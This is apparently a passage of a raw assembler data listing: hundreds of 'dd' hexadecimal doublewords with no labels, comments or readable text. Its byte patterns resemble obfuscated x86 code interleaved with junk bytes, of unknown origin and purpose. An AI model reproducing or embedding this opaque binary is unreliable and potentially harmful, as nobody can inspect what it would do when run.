5E1B5FFh, 81660607h, 0FF1BB3F3h, 71C1995h dd 1C8A0F06h, 0E8000000h, 10h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah dd 41B6449h, 0A3D958Bh, 6A5E0607h, 6995FF00h, 8B06071Bh dd 0FD0EEBC0h, 0CA4AECCDh, 0E6CFB416h, 22A8A756h, 0C08BADh dd 1ABh dup(0) dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 272DC357h, 52006A18h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 1A844568h dd 2D8795A4h, 9DF99140h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0DCC35343h, 0F9248FD1h, 0F2ADC706h, 0C6816660h dd 0F68179B0h, 768F3716h, 6A6161h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 604554C3h, 0E9616160h dd 0Ah, 68488ADDh, 1EE4BCA2h, 0F55D7523h, 8244401h, 13E9h dd 56EB8F00h, 0C9655092h, 5160886Ah, 0AB704C99h, 34B0FEE8h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 433CD04Ah, 0E9B3D85Ch, 0Dh, 0E8E54E73h dd 6AA14268h, 0E3B94210h, 6AC39DC5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0B365C355h dd 26CC7D62h, 60225448h, 41D91AB9h, 31BA6605h, 6A619Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F66362C3h, 1890F04h, 0F9000000h, 0B70FC08Bh, 38C0FFBh dd 80000000h, 0BF0FDAE8h, 12E080F1h, 820FCF8Bh, 14h, 9E8h dd 59FCF400h, 0F8769D68h, 0F5BAFE88h, 594ACFCBh, 0B9FB8B66h dd 5BAB6302h, 0AE9h, 0E4388500h, 0AB10498Ah, 0F9AE72C8h dd 66D6B70Fh, 6660CA8Bh, 0BB66CE8Bh, 8B613BFDh, 50D781C6h dd 6626F264h, 66B400BFh, 2DBAFE8Bh, 0BE1A8841h, 4042B9B4h dd 3BFF3DBFh, 3EBF6646h, 0C38BF5E2h, 8AC2BF0Fh, 0CE9D0h dd 2EE60000h, 114D2336h, 6424CC3Bh, 81667714h, 60CA0CE2h dd 3800Fh, 8B660000h, 61C18BC3h, 0D908BE66h, 1830Fh, 0B6F80000h dd 108E0FB7h, 0E9000000h, 0Bh, 9E7C0449h, 0FAEB4399h, 0F93D8CBBh dd 1D8E0Fh, 880F0000h, 17h, 12E9h, 382E9000h, 0F1C1FFC7h dd 7EBBFC0Eh, 768BF9D3h, 0B77435AEh, 0D18B6696h, 13E8F5h dd 0F9E70000h, 0BC11F4F7h, 6864C8FDh, 0B20230FEh, 8ACA3677h dd 6800F7Fh, 0F000000h, 8Eh, 0F505E00h, 68Dh, 0B7D68100h dd 5B2B3AB0h, 0FC2B70Fh, 0A89h, 4850F00h, 66000000h, 0BFE6D5BEh dd 2FBA9563h, 0D182F5B8h, 0C88B664Bh, 66CABF0Fh, 91B8D78Bh dd 80663282h, 0DF8B6DC1h, 9E9h, 2F2E9100h, 0EDEFCDFEh dd 0DB81C022h, 13CCD8BBh, 0F53D980h, 8Eh, 0F88B6600h, 0AE8h dd 0DA5C6500h, 2CE64552h, 51315863h, 13E9h, 0D0266400h dd 6E7A7D18h, 0A396059Ah, 0DC5F5EA3h, 0F333B286h, 0F2815F5Eh dd 4A6BC162h, 0EF816653h, 0E95B4B97h, 0Ah, 61D2D080h, 3EFEAEF1h dd 8EB98AC0h, 66276CD1h, 0B966D78Bh, 81663077h, 0B82745DAh dd 55476215h, 0B0F9B70Fh, 8F0F7Ah, 56000000h, 4AB86651h dd 0F8595827h, 58A0F60h, 0BE000000h, 9DA5C4Dh, 0BF615CB1h dd 69C82BAFh, 7E960h, 12960000h, 36DF1AA1h, 840F6162h dd 0 dd 12E856h, 0F430000h, 0D5F3FF29h, 72601325h, 0DCB955F6h dd 4281B98h, 0DE9h, 5E2DAD00h, 2E2EAEA1h, 0C085DDAEh, 5B5B474Bh dd 0E875F180h, 0Ch, 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah, 8A5BD2B4h dd 59DE81D4h, 0E93F5907h, 0Ch, 0F0C17DBh, 456D7BF8h, 6ADC2377h dd 5860Fh, 0A9B80000h, 56434040h, 0A91B44B9h, 7E8586Dh dd 0BA000000h, 89D0FD14h, 0A7B21FB7h, 0FF88A5Bh, 0A8Ah dd 48E0F00h, 66000000h, 8B08E7B8h, 0C4CD80CAh, 8BF9F9B5h dd 6660FCDAh, 605551BAh, 7E960B2h, 3A000000h, 327AE946h dd 616185D1h, 5DFCD981h, 13E8046Dh, 0AD000000h, 0B7DAEB63h dd 0C8C40A36h, 8C30A825h, 0AC2504E0h, 0E981A17Bh, 15357052h dd 14810F5Eh, 0F000000h, 0E83h, 9E900h, 2B9F0000h, 0CA5251CBh dd 0E9B7470Eh, 8, 48402EA8h, 0E777B9BEh, 0EE9h, 0E5FC000h dd 0DB1A25C2h, 2246C578h, 0F44956Bh, 1089h, 0BE900h, 4F3D0000h dd 0EAA4411Bh, 7EB556D4h, 0BE925h, 8B800000h, 0E47FDBEFh dd 2FD0B3B3h, 0FF28B00h, 8B66F8B7h, 606053D3h, 5E961h dd 0F6340000h, 614577D7h, 5E95158h, 9B000000h, 0EE3E6466h dd 12B96659h, 0D6F681BBh, 0B805B014h, 0B91D699h, 0D621B866h dd 5800Fh, 81660000h, 0E97962D7h, 0Ah, 0C842792Bh, 0E835CAE3h dd 8F0FEFD8h, 15h, 0EE950h, 68B90000h, 2F3CDCFDh, 36FC1B7Ch dd 0A5338CB1h, 6DCA815Fh, 0F368283h, 8E0FCAB7h, 1, 10810FF8h dd 0E9000000h, 0Bh, 0C08F4D89h, 2A7BDF75h, 0B1C428DBh dd 13E9608Dh, 3C000000h, 0B364691h, 8D8CABC4h, 61211D0Ch dd 49258B26h, 81667359h, 6164BFDFh, 8DBFF78Bh, 605008A9h dd 7E8h, 5D203500h, 0EB740A46h, 7AE18166h, 61F55BC9h, 663ED580h dd 9FBBC38Bh, 663291F7h, 8166F18Bh, 808386E6h, 800F82EAh dd 6, 830Fh, 0F600000h, 582h, 597CB800h, 0BB667EDBh, 8B61AC50h dd 0CE8B66F7h, 12E8h, 6C25C400h, 77E8790h, 8E949B5Eh, 0C7D5259Fh dd 5A7492F2h, 0B1BA66F8h, 2850F49h, 8B000000h, 1580B9CFh dd 9E91009h, 23000000h, 7F5403DBh, 0DA42A367h, 0CE9h, 0A6878800h dd 90F7E537h, 0E7B292F8h, 0E8F88B2Dh, 0Ch, 2C13EE1h, 0EB270659h dd 73E2FEEh, 13E8h, 48C6EA00h, 31DCE0F4h, 0D33F409h, 0A9BCFD88h dd 0A8F470AFh, 59FEBF0Fh, 9BED8059h, 28F0Fh, 9EB70000h dd 66C78B66h, 0BE8F98Bh, 25000000h, 54D62456h, 0C3420220h dd 81660E7Bh, 5AFE3EE9h, 0FD6BF0Fh, 886h, 860F5000h, 0 dd 1850F5Eh, 0F8000000h, 50D2E3BEh, 0DA8B6602h, 6F60C881h dd 81666F24h, 57EDFAD7h, 1902CF81h, 0BE5858CBh, 3894AB7Ch dd 10E951F9h, 94000000h, 175EABAEh, 9FA4159h, 2715B74Fh dd 5935FC70h, 0CE95060h, 10000000h, 0F7369AF9h, 0C670F1ABh dd 58662E96h, 0FCA8B61h, 0C84h, 6830F00h, 0F000000h, 82h dd 8B665600h, 13E858C6h, 0A2000000h, 8AAFA342h, 826296A2h dd 0E6E05ECAh, 98AAD1D1h, 0CF8A73A9h, 68E0F5Ah, 81000000h dd 993DBCE3h, 66C88B41h, 890FC28Bh, 2, 8166D8B3h, 60E5A5CAh dd 0BE9h, 3E344800h, 1B2157BEh, 7B62B963h, 3800F61h, 0F000000h dd 0DB81D1BFh, 4440D05Dh, 8B4DD380h, 5E8FBh, 0FB950000h dd 5B0D75DEh, 1A3AC181h, 0B8667185h, 830F8578h, 11h, 6E8h dd 0EBB9FA00h, 0BA4AE348h, 7D74864Ah, 19820F58h, 0F000000h dd 1384h, 0DE800h, 6CCA0000h, 780AF2EFh, 0A72B5B7Ah, 5F391B67h dd 0BBC88166h, 1EB96073h, 0F699BB9h, 88h, 820F6100h, 4 dd 41E4B966h, 6830Fh, 0DA810000h, 7433BF40h, 0E996F080h dd 0Eh, 0F0F00915h, 8D448FF1h, 4199FCB4h, 840FC33Ah, 0 dd 80DE8B66h, 0DF80D6F4h, 0C18166FAh, 0E8F9F07Ah, 0Bh dd 79917928h, 82975AB8h, 0E8867FADh, 0Eh, 3F19D413h, 8C0FE0BDh dd 3B45D931h, 0C18B87D0h, 8B0F5959h, 14h, 0FE9h, 9C412300h dd 0B32535B9h, 7C74E5A2h, 7A1A3AEEh, 0FE9h, 82257A00h dd 0E2B26FA3h, 0CD927595h, 0C4A1D45Bh, 0FCC88B66h, 0EE9h dd 9D948000h, 6CFCF90Ah, 0D49AE719h, 0E9B05346h, 10h, 0C19EB457h dd 0C8F1B362h, 8AD53648h, 0E5FF8BF0h, 0E9FBB70Fh, 9, 0D4B3D712h dd 2AF1A579h, 0FE969h, 0E6D0000h, 0EAD44EA0h, 0CD1565A4h dd 1B767E14h, 61FC601Eh, 8AFDE480h, 3810FECh, 80000000h dd 5E5294C6h, 7E9h, 0AC128300h, 27D7E63Eh, 830FF5h, 0BE000000h dd 692E6DFAh, 5E9h, 115ABA00h, 9E9892Ah, 1A000000h, 2D8795A4h dd 0D7829140h, 0B49FB966h, 0E779BF66h, 0E9FB8B60h, 0Bh dd 486C7DC2h, 7243AA2Ah, 6121AB47h, 0DE816657h, 0F58B3E1h dd 0BA66F8BFh, 12E88D89h, 0F6000000h, 0E825083Eh, 6C513DA8h dd 450CB1Ch, 9B945615h, 24DA819Ah, 5B14A68Ah, 0BE8h, 8FC02900h dd 7FCF439Dh, 0D3CFC748h, 595A5252h, 88B0F5Fh, 0F000000h dd 28Ah, 0BBCA8B00h, 527661ADh, 6E8h, 514DE300h, 66F030DCh dd 5BDA2CBFh, 0DE9h, 70A25400h, 99E188A1h, 2986A5BCh, 7B8D0F0h dd 0F8345D02h, 0DBBF0FF9h, 9AF180F8h, 8B4AC080h, 0DF8166F7h dd 0E9604F1Ah, 0Dh, 7EF733F6h, 0BDABE3F7h, 46A9D34h, 28C0FE7h dd 8A000000h, 0C38061EAh, 0FBBE66CAh, 2850FFCh, 8B000000h dd 0C88166D6h, 0BF66AFF1h, 0CE9CA24h, 0D4000000h, 0C7902C4Dh dd 424814C7h, 0FE3DEC1h, 28Fh, 0F5EB8A00h, 28E0Fh, 60B60000h dd 646CBB66h, 0D93DF381h, 0BF663051h, 12E8D658h, 2B000000h dd 6F5EB301h, 4EC3A787h, 80261435h, 1F83157Bh, 5E960B3h dd 0C6000000h, 0F92816D6h, 0CE2EE381h, 59616F55h, 0A8F4F6BAh dd 0E9F78B56h, 0Fh, 0F819C7F2h, 5CEA5CD5h, 4AC343F1h, 0B2763347h dd 0DF8166EAh, 0BF660379h, 0B70FDC5Ah, 11E951F0h, 4F000000h dd 5646B110h, 0AC51FDC7h, 0FB749A87h, 1C50935Fh, 0DE81665Eh dd 0BE665CB4h, 66F540C3h, 0E9D42DB8h, 11h, 626A8BDDh, 128FAF0Eh dd 89E71EC0h, 1F4286ECh, 0B8B866B8h, 0B8C5B6C9h, 19C2F0D3h dd 66F9C7B1h, 0AB02F781h, 13E9h, 0C9BC9D00h, 24337D53h dd 137D73DDh, 566DF238h, 34F951Ch, 0C281C4B3h, 13370050h dd 2800Fh, 0C88A0000h, 38C0Fh, 0C8800000h, 7E920h, 0FC910000h dd 5440CAC4h, 66BFB17Ah, 0F7B3CB9h, 783h, 81665100h, 5B81A0F6h dd 0DBC78166h, 8BD68B1Dh, 0C28B66D0h, 3870Fh, 0E7800000h dd 0C0B860B5h, 0BE3CE011h, 7E0C0A59h, 0DA8B6661h, 57CF8B66h dd 0DE8h, 0DDBAA500h, 0C251DB39h, 0D6B6EAFEh, 33B58486h dd 0EE8A5958h, 762339BFh, 0FF08B7Dh, 383h, 0FBBF0F00h dd 12E9h, 34EA900h, 4CB9E559h, 0AAB2A790h, 2C33E5FBh, 60D6B5BEh dd 0C88B6661h, 665ED480h, 0F56CFFBEh, 28D0Fh, 7B10000h dd 8011B866h, 0CB80FA8Bh, 0C9BF0FE0h, 6512DB81h, 810F0C6Fh dd 18h, 11E8h, 39A84400h, 6CC8F5F8h, 0D0695EE5h, 7F5B2EC5h dd 59F9C164h, 870F6AB6h, 18h, 12E8h, 0DA3EB800h, 0CB6F128Ch dd 63770545h, 948FC1F5h, 5F1A2E02h, 0FB0CF80h, 581h, 6FD6B800h dd 0CF81680Dh, 4757E418h, 0EE9h, 9F4A6B00h, 0A017DF01h dd 840AF6B1h, 0BAAD2131h, 34D092C4h, 8C0FD98Bh, 0 dd 2860Fh, 0B5B30000h, 0AE9h, 0F541DA00h, 5DA0D377h, 0F7E39C6h dd 2586h, 14E800h, 0B75F0000h, 8F15EFA5h, 42725498h, 8AC75DD3h dd 1649984Ah, 6E95869h, 18000000h, 52EFCCD4h, 0BE95B48h dd 29000000h, 563BD3A0h, 0B731C262h, 14E9BED7h, 5B000000h dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh, 81CFFB84h dd 4F882FD0h, 0C9B70F50h, 66CA8BF5h, 0A8A7D381h, 0CE9h dd 73F4C900h, 0F5E469EAh, 164FE21Ch, 0B70F52E7h, 60FC5ED7h dd 6830Fh, 0EB810000h, 1949B9C0h, 57615AB7h, 5F44F180h dd 13E9h, 8484EF00h, 0A494197Bh, 0F098FB9Fh, 0FC8D7CE9h dd 30881A20h, 860Fh, 870F0000h, 8, 2830Fh, 61600000h, 8B0F51FCh dd 3, 58C8BF0Fh, 5846B150h, 800FBBB0h, 0 dd 8E0Fh, 12E90000h, 0D000000h, 65609CD2h, 0A62CE19h, 7775E848h dd 0F3C49353h, 0FC88B88h, 587h, 0C1816600h, 57607BC3h dd 26CABA66h, 3850F5Fh, 66000000h, 8B61C78Bh, 0E86FB7F9h dd 0Ch, 0AEEA463Dh, 0F7C3DEA1h, 0B9702A0Eh, 10E8h, 0B5526A00h dd 0F054A652h, 0A69ED355h, 0C3153BA8h, 5958FC74h, 0FC0BF0Fh dd 881h, 28E0F00h, 60000000h, 4840F61h, 66000000h, 0B34400BAh dd 9E950h, 491D0000h, 0B0A188E1h, 0B910E6B1h, 207686FFh dd 0CE8h, 790A1D00h, 869D78C3h, 1ACC71D1h, 6DBB99Ch, 0E9581255h dd 7, 88101048h, 66D6A006h, 23C8F381h, 280EC881h, 0F7814935h dd 516BF857h, 4168BE66h, 645BE081h, 0E86050F6h, 10h, 1ED3D5E9h dd 0F916D990h, 0C18E5E70h, 7D7D2D72h, 0C3E18158h, 615DE4D6h dd 0BB665EB2h, 0B70FA343h, 0BE956FFh, 4D000000h, 0DC37D7B6h dd 0EC218E7Eh, 665E20DEh, 605FB6BEh, 0BE8h, 0A18C1F00h dd 0E3C4838Ch, 696E1BA6h, 8C0Fh, 615A0000h, 0C38B6650h dd 5219B25Eh, 13E9h, 66C7B900h, 0D823D3E8h, 0C825A8A0h dd 2848CABCh, 820C3CCBh, 24F6815Bh, 0BB5249C4h, 448656FAh dd 8AF8BF0Fh, 7E8C5h, 953C0000h, 5185D46Fh, 816657C4h dd 5EC5C2E0h, 665E525Ah, 0ACB5FB8Bh, 0C580FA8Bh, 98D0F0Ch dd 0F000000h, 388h, 0C9BF0F00h, 80F9BF0Fh, 0CE998C4h, 0E3000000h dd 28DCA9CBh, 19B30ACFh, 0E8CC78DCh, 14h, 8A871C08h, 4A92E00Ah dd 0C350A0B0h, 74D74DC1h, 0F641BDE6h, 868FEE81h, 0F5E713Eh dd 0C381C1B7h, 62B35D09h, 0B565C781h, 0E95347C0h, 0Ch dd 62C19EB4h, 48C8F1B3h, 0F08AD536h, 89C78158h, 0F6A40C9h dd 1C81h, 168E0F00h, 0E9000000h, 11h, 0F58C13F1h, 0A12E2BD4h dd 0C0368D5Eh, 5879F1D2h, 0DE9F8F7h, 54000000h, 161C69B2h dd 0DDFEBFE6h, 6A1C695h, 68F0Fh, 8D0F0000h, 0 dd 20D78166h, 8E0F1Fh, 0F000000h, 66FCC6BFh, 5160CA8Bh dd 8E6ED181h, 505B2A72h, 6158D08Bh, 413F72B8h, 0C8B0F31h dd 0F000000h, 684h, 8B0F00h, 57000000h, 0C8C68166h, 880F5893h dd 5, 6BC6D2BFh, 3E2DBE67h, 0F853190Eh, 2810F59h, 0B6000000h dd 0FE938h, 8E810000h, 33417002h, 58753B48h, 70F089C3h dd 0C78166CFh, 12E994CBh, 0C2000000h, 3DAA6492h, 0B06FB12Bh dd 0BAB73E5Fh, 0C121FD57h, 48C0F03h, 66000000h, 0F1059BEh dd 682h, 8EE8100h, 0E9733FECh, 10h, 0E7C19DD5h, 3994BC32h dd 8F4104Ch, 0E8D260Bh, 11E9h, 3F0DC800h, 128A7F01h, 547B110Dh dd 0CA5300B7h, 800FB785h, 4, 80BABA66h, 80F2D680h, 0B966DAF2h dd 3DBA86F7h, 0F23CBC9h, 889h, 2830F00h, 0B0000000h, 0D78B66B5h dd 0DE9h, 743E4A00h, 7A6D2E3Fh, 43E152FEh, 59B859F3h, 0E9272A12h dd 7, 11929170h, 0F8EA212h, 485h, 9DB86600h, 4A94BB48h dd 830F18CDh, 1, 0DA8B66F8h, 6ABA66FCh, 0E9816618h, 0E28A5A35h dd 329ABB66h, 0FE9h, 28B88700h, 0C010981Bh, 250CB52Ch dd 0A134A1E4h, 7E9h, 0ECD1700h, 0F47C3AC0h, 6820Fh, 0E9810000h dd 256CD1F4h, 61B5BA66h, 8BF3B70Fh, 79B6F5D3h, 1ED5BE66h dd 0E987D480h, 12h, 4B23345Bh, 0AFF02E18h, 0A6172511h dd 428F5F47h, 0C880BD8Eh, 0B360605Ch, 5A2BB935h, 8B617779h dd 0D38B61C1h, 0FE8BAAB1h, 66DF8B66h, 0E9044CBAh, 14h dd 0C8C389F4h, 0BD14FAFAh, 1B5F73B7h, 0A7FA7FB1h, 0A0FCEDCh dd 5BD78B51h, 12E9h, 0E9D32E00h, 0FE43D60Dh, 0AF291F79h dd 191426F0h, 0BAFD63FFh, 423502CEh, 0FE9h, 82F82000h dd 1C2A0278h, 23A8BE29h, 0B8C2131Fh, 17E28166h, 66F18AE0h dd 0E9EB3CB9h, 11h, 1487D669h, 3CBAFA88h, 6A54F06Dh, 0A05456D5h dd 8BD08A54h, 0F1B966D9h, 4BBE6666h, 66A6B51Ch, 0BF66C88Bh dd 0B70FFFC1h, 0D8BF0FC6h, 3807C4BEh, 0BBCE8B09h, 1D1C17FFh dd 0BCD28166h, 5E84Eh, 7AF90000h, 0FF626A2h, 18Fh, 6659F900h dd 0E926C6BAh, 5, 7A489C3Ah, 6CCA818Bh, 81482F65h, 5A2003C6h dd 0DE81666Ah, 890F9BF6h, 7, 0AF21BA50h, 0E95E75B8h, 11h dd 0DBC9D483h, 3FE0D81h, 0A678E609h, 8EDC67D2h, 3BB2F837h dd 0FCE28166h, 66C78B04h, 666070BBh, 2DCFD181h, 0F5BF953h dd 0E9F9F3B7h, 11h, 2AE3680Fh, 6CB196F3h, 58F8267Ch, 0F21F3CACh dd 58F0FDAh, 66000000h, 8109D881h, 5E8h, 9DB97400h, 8B66A15Dh dd 81665AD3h, 66F0B9C6h, 8B66F28Bh, 8E9F1h, 8FC50000h dd 0FEE006C8h, 66608E78h, 4A2CEA81h, 4830Fh, 0BE660000h dd 8061D243h, 10E85DECh, 63000000h, 0AE7ABDE9h, 7C8214B1h dd 726D567Ch, 5B0EDD41h, 0BE661DB3h, 0C681C245h, 3FE1A79Dh dd 0A742FFB9h, 0F5F5330h, 58Dh, 0E0816600h, 0BA66778Dh dd 0BB6634F4h, 0E38A17CFh, 0FFA8B66h, 581h, 0CA816600h dd 8B0FBE8Ah, 6, 0C8D9DE81h, 8A0F019Dh, 0 dd 0E8BFCA80h, 12h, 39316CB4h, 29018187h, 8F9992A9h, 9FCC645Ch dd 8B669093h, 0BF0F59D1h, 68E0FFFh, 81000000h, 8B14ACF1h dd 0E781661Fh, 6650AD54h, 5F8EC9BEh, 10E9h, 0F5ABDB00h dd 0CC493E19h, 0B764E5D2h, 5C9E4910h, 8E8E5h, 78C20000h dd 0E56EDFC2h, 22B8FCC8h, 5F7F5873h, 0D98B6660h, 38B0Fh dd 0B70F0000h, 12E961F9h, 22000000h, 9C335550h, 9B1260F3h dd 0CBF8FF68h, 0C36CFE6Ch, 0FC08B17Dh, 11E9h, 0B37C0700h dd 346046Bh, 7490C391h, 0CC330579h, 8166EEBCh, 0B0216DD0h dd 8860F74h, 0F000000h, 282h, 0E9616000h, 13h, 0FEA60C20h dd 5A7117E6h, 79907E26h, 0E4CC7BE9h, 81F2442Eh, 0B948BBD8h dd 0CA81600Fh, 0AE57480h, 8061FA8Bh, 8166D5DBh, 664140C9h dd 0E860F88Bh, 0Ah, 5526E344h, 9532F6A9h, 8E0F0705h, 0 dd 0DF815058h, 389261DAh, 0D080615Eh, 0CE963h, 3EB90000h dd 0FABF82E9h, 0BFB665E7h, 8B66508Eh, 5870FCAh, 0B9000000h dd 282682F5h, 11E8h, 53CBDD00h, 0C7A964E7h, 0C1B62F16h dd 6B88DBCAh, 8B66167Bh, 12E95AF9h, 18000000h, 0A36B90E0h dd 8653FC66h, 9E0B003Fh, 440664EEh, 5EB2608Ah, 6E961F9h dd 0A1000000h, 84E23BFFh, 0FFB8B49h, 48Fh, 4DBF6600h, 0AE8600Fh dd 70000000h, 39F28C3Ah, 3AA8EF82h, 11E994h, 0B99E0000h dd 27491B97h, 52593674h, 0EF095A82h, 5AD91F29h, 870F60h dd 0E9000000h, 0Ch, 6ED1ADD4h, 2840CE07h, 5E7E2CF3h, 890F6161h dd 6, 75BE6660h, 81666138h, 535669F7h, 5E9h, 43861F00h dd 605B18AEh, 962DBE60h, 81664B74h, 6118C3D9h, 13E961FCh dd 33000000h, 69E33EFh, 5B1DAE6Eh, 0ED597BC4h, 65903A1Ch dd 8166A009h, 668D3FE1h, 0F86B4ABEh, 0FE9h, 736DD100h dd 2445480Dh, 9E241E3Fh, 35C364B1h, 0DF4ABE66h, 4890Fh dd 52570000h, 0D7815A5Bh, 1C5559E1h, 7BA832BFh, 5840F26h dd 0BF000000h, 41D13DBh, 66D2B70Fh, 8B56C88Bh, 0CE85AFAh dd 48000000h, 0CA72ACFh, 482A763Fh, 0BFE02E88h, 6E6E7907h dd 0BBF6815Fh, 814918E4h, 0E42FF4C0h, 19800F36h, 0F000000h dd 1386h, 0EE900h, 11870000h, 729A74Dh, 0A102B943h, 0E81108AAh dd 8BF9C68Bh, 880FF8F0h, 3, 0F8F28B66h, 10E9h, 41937E00h dd 57412C6Ch, 0A36491CAh, 0B8AE2369h, 8A0F6039h, 5, 0F7E5BFh dd 8DE68077h, 14E961h, 0F7A50000h, 0BC41C3D0h, 0A859BC8Dh dd 2C997174h, 0FE784EBCh, 830F4AC0h, 1, 1830FF8h, 0FC000000h dd 66C6CC80h, 8E0FDE8Bh, 4, 2BB2B866h, 8E9EAB0h, 7F000000h dd 0E464F45Ch, 0E9C4C406h, 12h, 6008138Dh, 26F7CBD1h, 0D79DBB71h dd 0F0279544h, 8BF9582Eh, 49E381F9h, 663C4A9Ah, 0B70FCB8Bh dd 0C1BF0FD6h, 5E9h, 0D17FAE00h, 6E9C568h, 5000000h, 1183871Bh dd 14E891h, 77160000h, 71D517BAh, 8FCD9E08h, 3A5A340h dd 0E9EAF33Eh, 5BF5CBB6h, 850FF18Ah, 7, 18E0Fh, 0FFC0000h dd 870FD0B7h, 5, 0E28FA5BBh, 0FA03B81Bh, 0BF667322h, 0B70F6C58h dd 0BAA3B3DAh, 3BB83F1h, 5890Fh, 81660000h, 664B4DF2h dd 5E9CF8Bh, 80000000h, 0F9347965h, 4629BCB9h, 0B2F9B36Bh dd 3890F1Ah, 66000000h, 26BFF88Bh, 666443C4h, 0A76EE981h dd 0FC12F281h, 880F57ABh, 6, 0EE1EE281h, 0D1811CF2h, 283BFFF5h dd 18A0F60h, 0F5000000h, 61DBBF0Fh, 70D5B966h, 53D3BF0Fh dd 9CBF6656h, 665E5BFAh, 0B42ADF81h, 81F2B70Fh, 6E4231F6h dd 0CE877h, 0D0570000h, 0DED452E3h, 947F4B18h, 0E780B1F2h dd 0CD8058DCh, 0FD88B03h, 0B70FC6B7h, 6890FC7h, 81000000h dd 7B7842F0h, 3830F35h, 0F000000h, 820FC6B7h, 3, 8BF38B66h dd 0DDD281F7h, 0F2933AAh, 388h, 0F1B70F00h, 9E3EBABFh dd 88B0F4Ah, 60000000h, 0B966DF8Bh, 6061C89Bh, 0F60D88Bh dd 8Ah, 61C88B00h, 13810F61h, 56000000h, 0CE9h, 56B66A00h dd 0D7A8E2B7h, 0B57BE0A9h, 8B665E81h, 168F0FF3h, 0E9000000h dd 11h, 0B025206Dh, 32A710F5h, 5D420C7Ch, 9A98B520h, 7E98Fh dd 0B5E20000h, 88BA2EE2h, 8AF96050h, 0C68161CAh, 57272447h dd 7D6AB966h, 0F9CAB70Fh, 59535750h, 6E95858h, 0B0000000h dd 1792E761h, 0E081517Dh, 3702F20Eh, 14E95Fh, 0A0190000h dd 0DFCE2C63h, 3046F3DAh, 0A7FCBABAh, 3BFEF5FEh, 0BA663E13h dd 830FFC86h, 8, 28A0Fh, 0D88A0000h, 0AE9h, 0C9C1A700h dd 0AA36972Eh, 0F235347h, 0B70FDEB7h, 6DDA80F6h, 0FF1F180h dd 1F89h, 98B96000h, 0E83DDCB1h, 12h, 1EC18223h, 966262B6h dd 0D26A1B22h, 5C9BA663h, 615A7030h, 8E8h, 4F3E2700h, 29F4CF92h dd 3DE08066h, 1860F5Bh, 0F9000000h, 14E8h, 6B2CAE00h, 0C9C9A2AFh dd 5711D1A6h, 810AB51Ah, 32E9CEAEh, 0B8BBA7Eh, 0F5B3FC8h dd 88Ah, 8B666000h, 69C480D9h, 0F8C78B61h, 0DE8h, 6B214700h dd 0DDB2A0C2h, 758173A1h, 58FC9CE6h, 6AD78166h, 0F78B60E6h dd 61CA8B66h, 0F8DABF0Fh, 6890F60h, 0F000000h, 8Ah, 0F88B6600h dd 0D18AFC61h, 0EE9h, 0FF64AD00h, 0A7571484h, 0FC0FD0D3h dd 8B6605AAh, 45BB66DFh, 6E8A9h, 0AA550000h, 84973CE4h dd 585AF550h, 0D381C5B0h, 6B10074Ch, 8BFEBF0Fh, 33C281DEh dd 0F6E51ADh, 0E960DFBFh, 5, 0AE658F98h, 0A2B866EAh, 870F618Bh dd 7, 0B966FC60h, 0E961B732h, 8, 0FC76B90Fh, 8762CDC3h dd 0CE950h, 24F10000h, 0E0F81E2Bh, 3D61E6B0h, 0B85F3F10h dd 2A975AABh, 7E65C081h, 8F0F6FE9h, 4, 46F6BF66h, 8E8h dd 0DF461800h, 0CA480CC2h, 66B850ECh, 5A6404F3h, 0DA8B6658h dd 2129E981h, 0FE80ECDh, 1F000000h, 9D937A80h, 0BDC2367Fh dd 907BF05h, 816694F2h, 5E28DCC0h, 0AE9h, 426BA100h, 0C4D71D52h dd 81A70BC7h, 6DB7B7CFh, 11810F7Fh, 0E9000000h, 0Ch, 58B2FD6Eh dd 0E7D22686h, 0AB08940Dh, 16DE8160h, 0E87FA3CEh, 0Fh dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 0E9F4E4E2h, 11h dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h, 0B5615F5Bh dd 0FC88B33h, 884h, 2810F00h, 60000000h, 8E861h, 33E0000h dd 0A73228C9h, 12E94204h, 0D1000000h, 26BEFFFEh, 6153CD9Ah dd 915FC920h, 5DF0CC27h, 0FFC5A16h, 0F86h, 0AE900h, 0EB2E0000h dd 0C5E8B8C7h, 374CC6F6h, 88C0Fh, 830F0000h, 2, 12E85A56h dd 2A000000h, 50657ADh, 80FF808Ah, 444681Ah, 0F046B389h dd 6860FF7h, 0F000000h, 8Ah, 5E95A00h, 5D000000h, 1B826DA6h dd 0E9C2BF0Fh, 0Eh, 5031E521h, 330FED8Ah, 0A2F472BEh, 840F04D0h dd 3, 8BC7B70Fh, 2830FD9h, 8B000000h, 66C38BF3h, 83ADDF81h dd 0E859F950h, 13h, 4DBB4128h, 9122A4B9h, 1637410Ch, 31677D9Fh dd 5A156BA2h, 0E6C7E881h, 0BF0F5E2Fh, 0FF58ACBh, 0B660D8BFh dd 0C68B663Ch, 0E3D78061h, 12E9CB8Ah, 0C2000000h, 0FC485EA2h dd 737809ADh, 0CFF3992Eh, 8C3492Fh, 0F08B6630h, 0D8F0Fh dd 8E90000h, 16000000h, 891E8A63h, 0F6ADDC5h, 58Bh, 5F5BA00h dd 79B437A4h, 92F18166h, 0C9816694h, 14E99A81h, 2000000h dd 46250677h, 0D0F4F802h, 0C176F426h, 124A248Ah, 8B85DBCDh dd 0CE9D6h, 2F2A0000h, 19BFF7FAh, 6591CD40h, 6056B5B0h dd 0BBD18B66h, 7615F5B7h, 10E95961h, 60000000h, 6A591EDAh dd 6206DA78h, 0E68EFD52h, 0E97841E7h, 12h, 0DADAD4BEh dd 190FB360h, 0D70B1730h, 89CFAB2h, 81668843h, 0F8AD3D8h dd 0A8Ch, 5E900h, 5B950000h, 0BAE8A2DCh, 4D291E36h, 61FA8B60h dd 87F28166h, 0CE8B666Dh, 5AD38B57h, 820Fh, 12E90000h dd 4F000000h, 1ED4123Bh, 